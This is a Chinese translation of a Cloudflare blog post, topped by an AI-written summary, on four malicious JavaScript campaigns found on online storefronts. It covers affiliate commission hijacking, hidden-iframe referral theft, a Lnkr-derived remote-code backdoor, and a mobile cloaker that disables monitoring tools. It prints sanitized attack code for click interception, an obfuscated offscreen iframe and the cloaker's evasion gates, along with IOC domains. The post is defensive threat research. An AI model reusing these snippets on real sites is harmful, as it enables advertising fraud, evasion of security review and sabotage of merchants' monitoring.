When scanners miss the attack: how Cloudflare Client-Side Security protects storefronts
TL;DR · AI 摘要
Cloudflare的Page Shield ML模型通过分析JavaScript行为,检测到传统扫描工具遗漏的8个恶意负载,其中7个未被VirusTotal标记。
核心要点
- Page Shield ML在实时流量中检测到所有八个恶意负载,而传统工具未发现其中七个
- GNN(图神经网络)分析JavaScript行为,而非依赖签名或哈希值
- 持续的浏览器可见性是检测隐蔽攻击的关键
结构提纲
按章节快速跳转。
- §引言
揭示现代在线商店可能隐藏恶意JavaScript的威胁现状。
- ·检测案例
展示Page Shield ML发现的四个攻击活动及八个恶意负载。
- ›技术原理
解释GNN如何通过分析JavaScript行为实现检测。
对比VirusTotal和URLScan在检测中的失效案例。
- ›攻击特征
分析恶意代码的隐蔽性及多条件触发机制。
- ·解决方案
强调持续浏览器监控对防御隐蔽攻击的重要性。
思维导图
用一张图看清主题之间的关系。
查看大纲文本(无障碍 / 无 JS 友好)
- Cloudflare Client-Side Security
- 检测方法
- GNN行为分析
- 实时流量监控
- 案例分析
- 4个攻击活动
- 8个恶意负载
- 挑战与解决方案
- 传统工具局限
- 持续浏览器可见性
金句 / Highlights
值得收藏与分享的关键句。
Page Shield ML在实时流量中检测到所有八个恶意负载,而传统工具未发现其中七个
GNN分析JavaScript行为,而非依赖签名或哈希值,实现更早威胁发现
恶意代码可隐藏两年未被分类,依赖标签的防御策略存在致命延迟
当扫描器遗漏攻击时:Cloudflare 客户端安全如何保护商店前端 | Cloudflare 博客
post
网络安全
开发者平台
开发者
电子商务
机器学习
恶意 JavaScript
页面防护
Workers AI
人工智能
应用安全
2026年9月16日
当扫描器遗漏攻击时:Cloudflare 客户端安全如何保护商店前端
Juan Miguel Cejuela , Â Zhiyuan Zheng , Â 和Â Denzil Correa
22分钟阅读时间
复制链接
一个现代商店前端可能看起来完全健康,而恶意 JavaScript 却在后台悄然运作:窃取联盟营销收入、劫持搜索和点击、篡改分析数据,或向远程服务器查询下一步要执行的操作。页面加载,商品显示,结账流程正常运作——但浏览器可能正在悄悄执行网站所有者从未授权的操作。
这就是我们客户端安全机器学习(ML)模型旨在揭示的盲区。本文将追踪四个攻击行动,涉及八个有效载荷,这些攻击均被我们的页面防护 ML 在野外发现。
这些恶意有效载荷的检测是自动完成的;系统标记后,人类仅对每个发现进行验证。当我们随后使用安全扫描工具回顾这些攻击时,八个有效载荷中有七个在 VirusTotal 上完全缺失,URLScan 对所有有效载荷均未返回恶意判断。与此同时,Page Shield ML 在实时流量中成功捕获了全部八个有效载荷。
例如,虽然安全研究早在几年前就记录了更广泛的 Lnkr 家族,但某个特定版本的有效载荷在 URLScan 中几乎索引了两年半的时间,标注为“无分类”,包括 2024 年 1 月的直接扫描期间。只有在这种情况下,VirusTotal 更早地收录了该有效载荷:尽管目前该脚本被标记为恶意,但公开历史记录并未显示该判断首次被赋予的时间。与此同时,Page Shield ML 独立地在一家在线零售商的商店前端实时发现了这些确切字节。更广泛地说,一个哈希值可能在代码被归类为恶意之前就已经被知晓。如果你的防御等待这个标签,你已经晚了。你需要能够解析 JavaScript 本身并进行大规模判断的机器学习。
确实,看到文件并不等同于理解它。棘手的是这四个攻击行动没有通用的签名或共同的隐藏技术。其中一个只有在设备、国家、时间、来源或浏览器状态与预期匹配时才会激活。另一个将无点击联盟请求隐藏在不可见的 iframe 中。其他攻击则拦截点击、抑制监控,或根据条件从远程服务器加载额外代码。要捕捉它们,你必须观察这些组件如何协同工作:脚本何时激活、隐藏了什么、拦截了什么,以及接下来获取了什么。仅检查页面一次是不够的;正如这些案例所示,此类脚本被设计为在正确的目标出现之前保持静默。这就是为什么持续的浏览器可见性决定了攻击能否被发现或完全被遗漏。
我们如何大规模检测和标记 JavaScript
同一篇帖子中被标记出四个操作的图神经网络(GNN)此前已成功识别出恶意npm包和真实世界中的Magecart支付窃取者。GNN不会将JavaScript视为一块平铺的文本,而是通过图结构分析代码:构建连接代码符号的语法树,揭示调用关系、攻击者试图隐藏的内容以及仍在与远程服务器通信的代码。这种结构使其能够在不依赖已知URL或字节签名的情况下,识别出经过压缩、重命名和部分混淆后的可疑模式。
GNN标记为恶意的脚本(占所有分析流量的不到0.3%)会被发送至Workers AI上的轻量级大语言模型(LLM)进行实时二次验证。这一步骤进一步降低了误报率同时保持高召回率。当LLM验证GNN的判断结果时,客户将收到警报。
为了大规模分析最复杂的脚本,我们使用一组前沿模型(称为"教师"模型,即自动化裁判的集成)。该模型组从六个不同家族中选取领先模型,包括在Workers AI上运行的开源权重模型。我们为每个模型启动独立代理会话,让它们各自分析同一可疑脚本。当需要时,这些代理可通过受限JavaScript解释器解包小片段代码,揭示隐藏行为。我们即将通过Cloudflare Sandbox扩展此流程,在隔离环境中进行更深入的分析。
这些前沿模型有时会对最复杂的脚本产生分歧,我们视这种分歧为有效信号而非噪声。每个模型的判断结果会根据其在人工分析智能指数(Artificial Analysis Intelligence Index)中的得分加权,最终生成四个标签的概率分布:良性、支付窃取(magecart)、其他恶意软件和加密挖矿。因此,人工审核人员只需检查被标记为恶意或缺乏明确三分之二多数意见的脚本。我们将这些标签分布反馈至GNN训练中,帮助其区分更细微的案例。尽管目前该反馈循环仍部分依赖人工,但我们正在逐步实现自动化。
我们捕获的四种恶意JavaScript操作
这些操作影响各不相同,从佣金盗窃到窃取商店已付费获取的用户分析数据。佣金盗窃与信用卡窃取不同,劫持搜索与窃取密码也不同。如果机器学习模型只了解其中一种手段,就会对其他攻击方式视而不见。因此,我们的Page Shield ML必须时刻警惕所有类型的恶意行为。
现在,让我们深入分析每种操作的原理。
| 操作 | 用户影响 | 脚本行为 | |------|----------|----------| | 1) 下班后附属佣金劫持者 | 劫持附属佣金 | 移动设备与时间限制;动态页面监控;点击拦截;多日冷却 | | 2) 无点击附属盗窃 | 无需用户点击窃取佣金 | 隐藏iframe;自动点击备用链接;虚假IP查询与时间限制;每小时更换附属链接 | | 3) 旧版搜索破坏者(现为商店后门) | 追踪用户并打开任意远程JavaScript执行的后门 | 旧版关键词静默;localStorage退出;遥测;远程代码加载 | | 4) 付费移动端伪装者 | 对标记为付费的移动端访客隐藏商店信息,尝试替换广告和分析,并隐藏支持服务 |
主机、视口和UTM标签网关;325条目IP子串列表;禁用9个监控/分析工具;零像素跟踪信标
操作1:后半夜的附属佣金劫持者
想象一个安静的周日下午:一位手机用户点击了一个产品。脚本没有正常响应点击,而是从攻击者预选的列表中在新标签页打开产品或活动落地页,并将原始标签页通过附属路由发送。商店界面仍然看起来正常。如果用户完成购买(无论当时还是之后),这个绕道操作会劫持归因,将销售(及任何产生的佣金)归功于一个并未带来推荐的账户。
商店的损失
商店可能会向一个未带来用户的账户支付未应得的佣金。更糟的是,如果合法合作伙伴确实带来了推荐,强制请求可能会错误归因,使完成工作的合作伙伴失去应得的信用和潜在付款。这种损害可能持续超过一次佣金:如果合作伙伴不再信任归因系统,也可能不再信任背后的零售商。
攻击链
符合条件的移动访客 → 截获产品点击 → 脚本选择的页面在新标签页打开 + 原始标签页通过攻击者的附属路由
隐藏方式
我们发现了五个相关脚本构建:两个处于活动状态,三个在捕获时暂停。每个活动变体在行动前使用不同的网关检查,例如访客的设备和本地时间、该诡计是否近期运行过、产品按钮是否出现以及是否有人实际点击。这些规则迷宫使恶意行为在短暂的自动化访问中保持隐藏,除非变体的特定条件满足。活动脚本使用MutationObserver(JavaScript API)监控页面首次加载后动态出现的产品瓷砖和按钮。这使它们能够拦截对这些晚到元素的点击,而仅加载HTML一次就停止的爬虫可能完全错过重定向路径。
在后期活动变体中,脚本拦截符合条件的点击并在localStorage中写入三天冷却时间(在该设备上保持休眠数天)。然后执行双标签操作:弹出攻击者选择的产品页面到新标签页以保持用户参与,同时原始标签页通过攻击者的附属跟踪链接进行快速、未被注意的往返,将攻击者的归因cookie植入后台。控制台遮蔽和自我防御源检查使检查更困难,而冷却时间和狭窄的时间表限制了恶意路径在正常购物期间出现的频率。
以下经过净化的摘录展示了有效载荷如何挂钩动态产品瓷砖并执行双标签绕道。我们简化了标识符,重新格式化了代码,并中和了目标URL以提高可读性。
// 监听延迟渲染的产品元素并挂钩点击事件
new
MutationObserver
((
_
,
observer
)
=>
{
const
tile
=
document.
querySelector
(
TARGET_SELECTOR
);
if
(
!
tile)
return
;
observer.
disconnect
();
tile.
addEventListener
(
"click"
, (
e
)
=>
{
// 如果该设备的冷却时间尚未结束则退出
const
stored
=
JSON
.
parse
(localStorage.
getItem
(
STORAGE_KEY
)
||
"null"
);
if
(stored
&&
stored.expires
>
Date.
now
())
return
;
e.
preventDefault
();
e.
stopPropagation
();
localStorage.
setItem
(
STORAGE_KEY
,
JSON
.
stringify
({ value:
"tracked"
, expires: Date.
now
()
+
COOLDOWN_MS
}),
);
// 保持用户在新标签页中停留...
window.
open
(target.link,
"_blank"
);
// ...同时将原始标签页路由到攻击者的附属链接
setTimeout
(()
=>
{
window.location.href
=
target.redirectUrl;
},
200
);
});
// 注意:某些变体添加了 { once: true } 以便在首次点击后解除绑定
}.
observe
(document.body, { childList:
true
, subtree:
true
});暂停的构建展示了在不移除脚本的情况下活动如何变暗。它们的嵌入式配置设置状态为"暂停",因此在安装点击处理程序之前就退出了。这些暂停的脚本携带了不同的每用户冷却时间配置(3、4和5天)。其中一个暂停的脚本甚至记录了一个版本历史注释,明确说明活动在黑色星期五后被暂停。
为了首先接触访客,该行动利用了网站的营销供应链:电子商务网站嵌入的第三方脚本和标签管理器,用于跟踪广告活动和分析。一条确认的传递路径经过两个普通的标签管理器:Google Tag Manager → 另一个标签管理器 → 恶意脚本。这就是有效载荷到达浏览器的方式,并非证明这两个标签管理器被入侵的证据。
攻击者甚至伪装了托管脚本的域名以通过快速营销审查。一个传递主机显而易见:adtargett[.]com 与 adtarget[.]com(一个1998年注册的广告域名)仅差一个字母“t”。这个类似域名于2025年注册,当我们检查时,其主页自称“Adtarget.com - 性能营销机构”。这是拼写 squatting(域名抢注):通过模仿真正的广告机构,该主机与常规营销标签融为一体,悄无声息地提供劫持用户点击并将其重定向到附属支付链接的恶意有效载荷。
操作2:无点击附属盗取
虽然第一个骗局仍需要点击,但这个骗局甚至需要更少。用户可以打开预订页面,浏览产品选项,甚至不点击任何广告。然而在后台,脚本可能已经发送了附属请求,使后续销售看起来像是其他人推荐了用户。事实上,当脚本条件满足时,有效载荷会通过隐藏的iframe或自动点击的链接发送该请求。
对于受影响的旅游业务,攻击可能破坏客户获取的经济学:合法预订或购买可能被归功于未获得的附属账户。代码证明了隐蔽的自动化附属请求,但具体请求是否实际导致了归属确认、账户记账或付费佣金仍无法观察。
时间锁定浏览器 → 隐蔽附属请求(离屏iframe) → 1小时节流cookie → 当被阻止时,自动隐藏链接点击回退
脚本通过两层机制隐藏联盟营销请求:选择性执行(预检网络网关和每小时调度)和隐蔽传输(离屏iframe)。第一层令人惊讶之处在于其国家标签与实际地理无关:既不依赖购物者也不依赖店铺的位置来做出选择。
首先,脚本调用了一个基于公共IP的地理定位服务,但会忽略所有返回结果,包括购物者的国家信息。我们无法确定为何需要成功响应却忽略返回数据;这可能是为了混淆调查人员,也可能是早期版本的遗留代码。有趣的是,如果地理定位请求失败,脚本会静默停止;其Promise链以.catch(() => {})结尾。尽管意图尚未明确,但这种失败时关闭的行为可能帮助脚本规避网络受限的沙箱环境。
接下来,脚本并未使用获取的地理定位数据,而是包含三个标记为{ AU, US, UK }的TradeDoubler(联盟营销网络)配置对象。这些设置块内嵌于代码中,每个都包含联盟URL和起止时间。脚本通过JavaScript计算Asia/Kolkata时间,检查这些配置的时间窗口,然后应用固定的奇偶小时规则来选择其中一个配置,否则跳过此次联盟请求。该选择过程是确定性的。
调度机制与浏览器状态检查共同构成了时间锁定的选择性执行,这是一种伪装技术。当这些条件不匹配时,联盟行为会保持休眠状态,因此一次性检查可能无法发现它。
一旦脚本选择配置,它会写入一个名为affiliateClicked_<market>的本地cookie,作为一小时重试节流机制,以防止立即对同一地区重复触发(这是客户端节流措施,用于避免干扰,而非联盟网络归因cookie)。随后,脚本在离屏iframe中加载联盟URL,并抑制来源信息。iframe是主要传输路径,但包含激进的备用方案:如果iframe在1至2秒内出现错误或加载失败,脚本会创建一个无target属性的隐藏链接(<a>)并程序化点击,这可能导致用户当前标签页跳转。对于符合条件的购物者来说,一切看似正常:他们从未看到广告,无需点击,甚至可以像什么都没发生一样关闭标签页。
至于脚本的混淆技术,其方法简单却有效:即使属性名也逐字符拼接生成。以下经过净化的摘录展示了脚本创建隐形离屏iframe的过程。我们已重命名关键标识符并重新格式化代码以提高可读性。目标地址已移除。
function
loadAttribution
(
target
) {
const
frame
=
document[
'c'
+
'r'
+
'e'
+
'a'
+
't'
+
'e'
+
'E'
+
'l'
+
'e'
+
'm'
+
'e'
+
'n'
+
't'
](
'i'
+
'f'
+
'r'
+
'a'
+
'm'
+
'e'
);
frame[
's'
+
'r'
+
'c'
]
=
target;
frame[
'r'
+
'e'
+
'f'
+
'e'
+
'r'
+
'r'
+
'e'
+
'r'
+
'P'
+
'o'
+
'l'
+
'i'
+
'c'
+
'y'
]
=
'n'
+
'o'
+
'-'
+
'r'
+
'e'
+
'f'
+
'e'
+
'r'
+
'r'
+
'e'
+
'r'
;
frame[
's'
+
't'
+
'y'
+
'l'
+
'e'
][
'c'
+
's'
+
's'
+
'T'
+
'e'
+
'x'
+
't'
]
=
'w'
+
'i'
+
'd'
+
't'
+
'h'
+
':'
+
'1'
+
'p'
+
'x'
+
';'
+
'h'
+
'e'
+
'i'
+
'g'
+
'h'
+
't'
+
':'
+
'1'
+
'p'
+
'x'
+
';'
+
'p'
+
'o'
+
's'
+
'i'
+
't'
+
'i'
+
'o'
+
'n'
+
':'
+
'a'
+
'b'
+
's'
+
'o'
+
'l'
+
'u'
+
't'
+
'e'
+
';'
+
'l'
+
'e'
+
'f'
+
't'
+
':'
+
'-'
+
'9'
+
'9'
+
'9'
+
'9'
+
'p'
+
'x'
+
';'
+
'v'
+
'i'
+
's'
+
'i'
+
'b'
+
'i'
+
'l'
+
'i'
+
't'
+
'y'
+
':'
+
'h'
+
'i'
+
'd'
+
'd'
+
'e'
+
'n'
;
document[
'b'
+
'o'
+
'd'
+
'y'
][
'a'
+
'p'
+
'p'
+
'e'
+
'n'
+
'd'
+
'C'
+
'h'
+
'i'
+
'l'
+
'd'
](frame);
}操作 3:昔日的搜索破坏者,如今的商店后门
多年前,Lnkr 恶意软件家族因隐藏在可疑的浏览器扩展中而登上新闻,通过拦截 Google 和 Bing 的搜索结果来重定向流量并窃取广告收入。如今,攻击者将该代码库重新利用,植入到在线零售商的网站中,创建了一个后门。
由于该脚本运行在商店网站而非搜索引擎上,其原有的重定向功能一直处于休眠状态。这次,该脚本被用来向攻击者发送遥测数据。更危险的是,它为攻击者提供了一个远程入口,可以在客户浏览器中任意时间下载并运行新的 JavaScript,而无需触碰服务器上的任何文件。它甚至保留了扩展时期的旧技巧:如果有人在 Google 中输入“virus”或“popup”等关键词,就会自动关闭自身。从外部看,商店继续正常销售,没有任何异常迹象。
商店失去了对客户浏览器中运行代码的控制权。攻击者秘密追踪访客会话,并通过直接后门随时在商店页面上推送和运行任意 JavaScript。
HTML 引用脚本 → 分析师规避机制 → 平行主机控制分支(休眠搜索功能 vs. 活动后门)→ 任意远程 JavaScript 执行
与通过标签管理器分发的活动不同,该脚本直接嵌入到商户的 HTML 中。我们无法确定确切的初始入侵向量;实际上,直接 HTML 插入通常通过被入侵的商店管理员凭证、未经授权的模板编辑,或受感染的第三方主题或插件实现。
在底层,该脚本是一个模块化工具包,包含活动和休眠代码。其较老模块(透明点击覆盖层、搜索引擎查询拦截器、扩展商店链接重写器、以及针对拼写错误域名的重定向,如 buking[.]com 而非 booking[.]com)仅在特定目标站点上激活,因此在该商店中保持关闭状态。多个嵌入域名(sugabit[.]net、votetoda[.]com、cdnpps[.]us 和遥测端点 hanstrackr[.]com)隐藏在这些禁用模块中。
在商店中,活动分支专注于规避、遥测和远程控制:
- 为安全研究人员的伪装。一种源自浏览器扩展时期的规避技巧:脚本会监控搜索输入和URL查询中的广告软件特征词。搜索一个安全关键词会使脚本在此次访问中暂停。搜索两个或更多关键词则会在localStorage中写入持久的退出记录,永久禁用该分析师电脑上的脚本,导致重复测试无法发现任何异常。该检查最初设计用于规避搜索引擎上的分析师,据我们所知,该检查被硬编码为仅针对Google搜索URL,并在商户商店页面上保持休眠状态。
- 动态远程代码执行。脚本无需修改商店页面即可改变行为。虽然硬编码的域名(scrprime[.]com、youronlinesearches[.]com、jullyambery[.]net)与早期捕获记录完全一致,但这些端点返回的内容完全由攻击者控制。脚本可以向服务器发送访客遥测数据、请求新指令,并直接将新JavaScript代码下载到访客浏览器中。实际上,这为攻击者提供了实时后门,可在商店页面上运行任意代码。我们无法确定实际部署的第二阶段载荷内容。
总体而言,网站静态快照仅显示了正常的商店页面,而底层的状态检查、反分析陷阱和远程加载分支暴露了隐藏的后门。
行动4:付费移动伪装者
该商店已通过移动广告或营销活动付费吸引访客。恶意脚本允许此次访问通过,随后切断商户的可见性。分析数据消失,实时客服聊天窗口消失,而一个恶意观察者开始记录商店刚刚购买的会话数据。
幕后机制中,载荷只有在满足一系列复杂条件时才会运行:精确的目标商店页面、狭窄的移动屏幕以及访问前两页时的活动标签。它在笔记本电脑、企业网络、云提供商和VPN上保持休眠状态,因此最可能调试页面的工程师永远看不到其触发。脚本还在选定的美国城市和地区保持休眠状态,依靠精心制作的325个IP字符串黑名单规避自动化扫描器和安全分析师。只有在这些条件满足后,脚本才会尝试破坏商店的监控系统、替换广告和分析身份,并向服务器发送数据。如果从错误的设备或网络再次访问,将永远无法触发该脚本。整个过程中,商店页面仍持续销售商品。
对于直接面向消费者的零售商,恶意软件特别针对商店通过付费搜索和营销活动(ppc、cpc、sms、paid)付费获取的高价值流量。这些客户仍可购买商品,但商店面临三个明确威胁:广告归因被转移导致出版商获得未应得的收入、通过九个可观测性工具丢失关键会话分析数据,以及客服聊天窗口和联系表单被压制(阻止顾客提问或报告异常)。在沙盒浏览器环境中进行的动态分析确认了替换分析脚本已加载并触发了跟踪信标(向服务器发送的隐形网络请求用于记录访客活动),但攻击者是否成功捕获会话数据或转移广告收入仍无法证实。
Campaign-tagged 移动端访问 → 多层级伪装与网络关卡 → 监控被破坏 → 广告、分析及支持控制被重写
为融入商店的营销供应链,攻击者通过 sdk-amazonaws[.]com(一个于2024年注册且与官方 Amazon Web Services 域名 amazonaws.com(2005年注册)无任何关联的仿冒域名)投递载荷。为增强欺骗性,攻击者还在域名前添加了模仿热门电商平台的子域名。这种叠加的双重品牌仿冒域名形成了极具说服力的伪装,专门设计用于规避快速标签审查。无论是 Amazon Web Services 还是被仿冒的营销平台均未参与此次攻击,也未遭受任何入侵。
脚本在浏览器加载后,需通过一系列异常密集的伪装关卡才能触发其主载荷:
- 目标主机与浏览上下文
脚本验证 window.location.hostname 是否匹配其构建时设定的特定商户主机(否则立即终止),确保当前窗口为顶层窗口(非嵌入式 iframe),并检查路径中不包含 /challenge。同时验证浏览器中是否已存在跟踪标记 cookie(_cart_dr 和 logo alt)。
- 设备与活动过滤
访问者的视口宽度必须小于 477 像素(手持智能手机)。此外,访问者必须通过首次触达(首次推荐)活动抵达,且该活动需标记为以下六种特定 UTM 媒介(Urchin Tracking Module,标准 URL 标签,用于跟踪营销活动)之一:ppc、cpc、sms、paid、flow 或 campaign。同时必须是会话中的首次或第二次页面加载。有趣的是,尽管代码中包含一个名义上的非 UTM 路径,但要求会话页面计数同时大于 -1 且小于 -2(数学上不可能的条件,导致该分支完全不可达)。这可能是另一种干扰技术,或是代码修改遗留。
- “随机”关卡(实际始终通过)
代码中看似包含一个概率性节流机制(Math.random() <= threshold),以使执行看起来间歇性发生。但当我们解析去混淆的算术逻辑后,阈值被缩减为恰好 1。由于 JavaScript 的 Math.random() 始终返回严格小于 1 的值,该关卡始终评估为 true。与不可达的非活动分支类似,这是一条实际上从未起作用的条件。可能是遗留的节流代码,或故意为阅读混淆数学代码的人设置的伪装。无论如何,捕获的载荷从未使用它来跳过符合条件的访客。
- 第三方 IP 智能分析
脚本使用内嵌密钥查询外部第三方 IP 智能分析 API。要求连接为美国移动消费者网络,若响应标记为业务网络、托管设施、云提供商、无效 IP、Tor 退出节点、VPN、代理、中继或通用威胁指标,则立即终止。
- 地理排除
载荷不会激活来自特定地区(US-NY、US-CA 和 US-NHDD)或城市(旧金山、普利茅斯、康普顿、霍普金顿和拉斐特)的访客。
- 325条目IP子串陷阱。脚本将访问者的IP与嵌入的拒绝列表进行比对,该列表包含325个完整的IPv4地址字符串。去重后,这些地址代表了313个唯一地址,分布在249个不同的三字节前缀中。作者并未执行结构化的CIDR(无类别域间路由)子网匹配,而是简单地从访问者的IPv4地址中剥离最后一个字节,然后进行原始子串搜索:!denylistString.includes(visitorPrefix)。
在简化后的伪代码中,多层主激活漏斗如下所示:
// 1. 上下文、设备和活动限制
let
eligible
=
isTopWindow
&&
host
===
EXPECTED_HOST
&&
!
path.
includes
(
"/challenge"
);
eligible
&&=
!
hasCookie
(
"_cart_dr"
)
&&
!
hasCookie
(
"_logo_alt"
);
eligible
&&=
viewportWidth
<
477
&&
[
1
,
2
].
includes
(sessionPage);
eligible
&&=
[
"ppc"
,
"cpc"
,
"sms"
,
"paid"
,
"flow"
,
"campaign"
].
includes
(utmMedium);
eligible
&&=
Math.
random
()
<=
1
;
// 明显的随机限制始终解析为true
// 2. IP智能与地理限制(调用外部API)
eligible
&&=
ipInfo.country
===
"US"
&&
ipInfo.isMobile
&&
!
ipInfo.isBusiness;
eligible
&&=
!
ipInfo.isCloud
&&
!
ipInfo.isProxy
&&
!
ipInfo.isVpn
&&
!
ipInfo.isTor
&&
!
ipInfo.isThreat;
eligible
&&=
!
[
"US-NY"
,
"US-CA"
,
"US-NHDD"
].
includes
(ipInfo.region);
eligible
&&=
!
EXCLUDED_CITIES
.
includes
(ipInfo.city);
// 3. 325条目IP前缀检查(原始子串匹配)
let
clientPrefix
=
ipInfo.ip.
slice
(
0
, ipInfo.ip.
lastIndexOf
(
"."
));
eligible
&&=
!
DENYLIST_STRING
.
includes
(clientPrefix);
if
(
!
eligible)
return
;
// 仅合格的消费者移动会话可通过伪装破坏可观测性并劫持身份:
只有在所有主限制都通过后,脚本才会执行其有效载荷:
- 使监控工具失效。它搜索DOM并移除了九个不同可观测性和分析服务的脚本标签:Lucky Orange、Segment、Optimizely、New Relic、Bugsnag、LogRocket、Hotjar、Microsoft Clarity,以及商店的Google Tag Manager容器(GTM-<redacted>)。在剩余的内联脚本中,它将这些工具的引用字符串替换为未定义的虚拟标识符(hji0),使对它们的调用静默失败,试图掩盖商店的错误报告和监控。
- 抑制客户支持。它注入CSS并移除元素以隐藏其支持聊天和联系表单容器,切断客户直接联系商店支持的通道。
- 替换广告和分析身份。它清除了Google Ads全局变量(google_ad_modifications、adsbygoogle),拆除了现有的广告位(ca-pub-<original>),并使用替换的发布者ID(ca-pub-<replacement>)加载Google Ads。然后注入一个新的Microsoft Clarity会话回放脚本,并配置了恶意的替换项目ID。
更简单的独立信标和600天标记:
与精心设计的主级伪装形成鲜明对比,有效载荷还包含绕过视口、主机名、活动、地理位置和IP防护机制的次级信标分支(独立程序,静默向外部服务器发送请求以确认访问)。如果访客浏览至第二页或更后页面,脚本会写入一个有效期为600天(51,840,000,000毫秒)的持久化Cookie(_cart_dr=1),并向maper[.]info(用于记录浏览器到达该步骤的跟踪信标)上的远程遥测端点发送一个隐形零像素图片请求。
另一个分支会检查备用标记(_logo_alt),该标记会触发第二个遥测.png信标(该脚本会查找此Cookie,但自身不会写入;可能由配套脚本植入)。这使攻击者获得了一个简单且持久的计数器,用于记录所有访客的基本流量(在端点处记录IP和用户代理),同时将高风险的广告劫持逻辑严格隐藏在移动伪装(高价值付费流量)之下。这也说明了为何仅分析单一可见效果无法揭示多用途有效载荷的完整影响范围。
感染指标(IOCs)
我们发布这些指标以帮助安全团队和研究人员在自身环境中检测和追踪这些活动。所有指标均直接来自捕获的有效载荷及其网络连接。列出的URL已进行脱敏处理。部分指标因公开可能意外暴露受影响组织身份而被隐去或泛化处理。列出的域名反映了在攻击期间参与交付、重定向或遥测链的基础设施;列入名单并不意味着共享服务或托管提供商一定是恶意的。
| 指标 | 类型与角色 | |------|------------| | adtargett[.]com | 脚本分发和附属重定向错别字域名 | | gdataroute[.]com | 攻击链中观察到的附属重定向短链接服务 | | scrprime[.]com | 浏览器劫持脚本分发域名 | | searchvalidation[.]com | 搜索劫持和流量重定向域名 | | sugabit[.]net | 强制搜索重定向域名 | | youronlinesearches[.]com | 条件远程脚本分发域名 | | hublosk[.]com | 远程脚本分发域名 | | jullyambery[.]net | 远程JavaScript API和命令域名 | | votetoda[.]com | 注入有效载荷分发域名 | | hanstrackr[.]com | 隐藏访客遥测域名 | | adrs[.]me | 攻击链中观察到的错别字流量重定向服务 | | youradexchange[.]com | 攻击链中观察到的变现重定向服务 | | cdnpps[.]us | 注入广告框架分发域名 | | sdk-amazonaws[.]com | 滥用品牌信任的仿冒脚本分发域名 | | maper[.]info | 条件访客遥测信标域名 |
防御者的四个教训
综合来看,这些操作讲述了一个不断升级的故事:攻击者改变了目标、传递路径和伪装方式,但浏览器仍需执行其逻辑。四个教训尤为突出。
行为胜过签名。这些操作追求不同形式的变现和操控,但每个有效载荷仍需在浏览器中执行:观察事件、检查状态、修改页面、安排任务、发起网络请求或加载下一阶段。这就是结构分析所关注的内容:即使URL、签名和目标发生变化,恶意有效载荷必须携带的逻辑。
选择性执行是攻击的一部分,而非附注。设备、时间、地理位置、来源页面、会话、网络和冷却机制等防护手段,都能阻止仅访问一次并抓取静态快照的爬虫。持续可见性至关重要,因为攻击可能只在某一浏览器、某一状态、某一时刻出现。
混淆技术提高了分析成本,但在此类案例中并未阻止检测。自防御循环、控制台抑制、调试器陷阱、旋转字符串表和死代码分支等手段使分析更加复杂。尽管存在这些障碍,Page Shield ML 仍成功识别出所有四种操作。快速的内部模型能够大规模识别可疑代码,而前沿模型则专门处理最难的案例。它们的分歧突出了最复杂的混淆技术和逻辑,帮助我们缩小关注范围。
上下文完善了整体图景。孤立来看看似普通的代码,在防御者将静态分析与动态上下文关联时,会暴露出其恶意作用:代码是如何到达的、哪些浏览器状态触发了它、建立了哪些连接、以及在运行时实际执行了什么操作。
对客户端执行的持续可见性
这四种操作依赖于不同层级的误导技术,但它们有一个共同限制:JavaScript 必须在浏览器中执行。公共扫描器和静态爬虫可能遗漏受限制的行为。持续观测有助于明确代码在真实访客与页面交互时的实际行为。
Cloudflare 客户端安全防护为所有计划提供这种可见性。您可以在安全设置中开启持续脚本监控,追踪商店前端的第一方和第三方脚本,而高级客户端安全防护则提供自动化恶意脚本检测和告警功能。您可以在 Cloudflare 控制面板中直接查看脚本活动并管理检测结果。
目录列
讨论列
相关标签和社交媒体链接
相关标签
在社交媒体上关注
- Cloudflare
- Juan Miguel Cejuela
- Zhiyuan Zheng
电子邮件订阅